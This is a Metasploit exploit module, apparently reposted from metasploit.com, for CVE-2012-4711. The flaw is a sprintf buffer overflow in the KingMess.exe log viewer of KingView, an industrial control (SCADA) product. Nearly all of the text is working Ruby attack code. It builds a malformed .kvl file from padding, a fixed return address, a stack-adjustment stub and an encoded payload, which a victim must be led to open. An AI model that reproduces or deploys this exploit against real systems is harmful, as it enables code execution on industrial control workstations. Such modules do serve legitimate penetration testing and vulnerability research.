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KingView Log File Parsing Buffer Overflow
来源:metasploit.com 作者:vazquez 发布时间:2013-03-25  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "KingView Log File Parsing Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in KingView <= 6.55. It exists in
				the KingMess.exe application when handling log files, due to the insecure usage of
				sprintf. This module uses a malformed .kvl file which must be opened by the victim
				via the KingMess.exe application, through the 'Browse Log Files' option. The module
				has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
				Windows XP SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Lucas Apa', # Vulnerability discovery
					'Carlos Mario Penagos Hollman', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					['CVE', '2012-4711'],
					['OSVDB', '89690'],
					['BID', '57909'],
					['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf']
				],
			'Payload'        =>
				{
					'Space'          => 1408,
					'DisableNops'    => true,
					'BadChars'       => "\x00\x0a\x0d",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
						{
							'Offset' => 295,
							'Ret'    => 0x77c35459 # push esp # ret # msvcrt.dll
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 20 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The filename', 'msf.kvl'])
			], self.class)
	end

	def exploit
		version = "6.00"
		version << "\x00" * (0x90 - version.length)
		entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01"
		entry << rand_text_alpha(target['Offset'])
		entry << [target.ret].pack("V")
		entry << rand_text_alpha(16)
		entry << payload.encoded

		kvl_file = version
		kvl_file << entry

		file_create(kvl_file)
	end
end


 
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